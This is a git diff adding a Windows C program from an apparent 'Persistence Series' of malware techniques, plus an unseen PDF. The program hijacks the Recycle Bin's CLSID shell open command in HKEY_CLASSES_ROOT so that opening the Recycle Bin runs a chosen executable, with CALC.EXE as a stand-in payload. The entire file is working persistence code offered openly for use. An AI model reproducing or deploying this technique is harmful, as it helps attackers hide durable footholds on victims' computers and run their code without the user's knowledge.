diff --git a/The Persistence Series/Persistence via Recycle Bin/Persistence_via_Recycle_Bin.c b/The Persistence Series/Persistence via Recycle Bin/Persistence_via_Recycle_Bin.c
new file mode 100644
index 0000000..1464cda
--- /dev/null
+++ b/The Persistence Series/Persistence via Recycle Bin/Persistence_via_Recycle_Bin.c	
@@ -0,0 +1,81 @@
+#include <Windows.h>
+#include <stdio.h>
+
+#define WCHAR_MAXPATH (MAX_PATH * sizeof(WCHAR))
+
+DWORD P0x4(VOID);
+
+int main(VOID)
+{
+    DWORD dwReturn = ERROR_SUCCESS;
+    dwReturn = P0x4();
+
+    if (dwReturn != ERROR_SUCCESS)
+    {
+        return dwReturn;
+    }
+
+    return ERROR_SUCCESS;
+}
+
+DWORD P0x4(VOID)
+{
+    HKEY  hKey = HKEY_CLASSES_ROOT;
+    WCHAR lpSubKey[WCHAR_MAXPATH] = L"CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command";
+    WCHAR lpData[WCHAR_MAXPATH] = L"CALC.EXE";
+    HKEY  phkResult = NULL;
+    HKEY  hkResult;
+    DWORD dispositions;
+
+    if (RegCreateKeyEx(hKey, lpSubKey, 0, NULL,
+        REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkResult, &dispositions) != ERROR_SUCCESS)
+    {
+        goto EXIT_ROUTINE;
+    }
+
+    if (RegOpenKeyEx(hKey, lpSubKey, 0, KEY_ALL_ACCESS, &phkResult) != ERROR_SUCCESS)
+    {
+        goto EXIT_ROUTINE;
+    }
+
+    if (RegSetValueEx(phkResult, NULL, 0, REG_SZ, (PBYTE)lpData, sizeof(lpData)) != ERROR_SUCCESS)
+    {
+        goto EXIT_ROUTINE;
+    }
+
+
+    if (hKey)
+        RegCloseKey(hKey);
+
+    if (phkResult)
+    {
+        RegCloseKey(phkResult);
+    }
+
+    if (hkResult)
+    {
+        RegCloseKey(hkResult);
+    }
+        
+
+    return ERROR_SUCCESS;
+
+EXIT_ROUTINE:
+
+    DWORD dwError = GetLastError();
+
+    if (hKey)
+        RegCloseKey(hKey);
+
+    if (phkResult)
+    {
+        RegCloseKey(phkResult);
+    }
+
+    if (hkResult)
+    {
+        RegCloseKey(hkResult);
+    }
+
+    return dwError;
+}
\ No newline at end of file
diff --git a/The Persistence Series/Persistence via Recycle Bin/Persistence_via_Recycle_Bin.pdf b/The Persistence Series/Persistence via Recycle Bin/Persistence_via_Recycle_Bin.pdf
new file mode 100644
index 0000000..16bba18
Binary files /dev/null and b/The Persistence Series/Persistence via Recycle Bin/Persistence_via_Recycle_Bin.pdf differ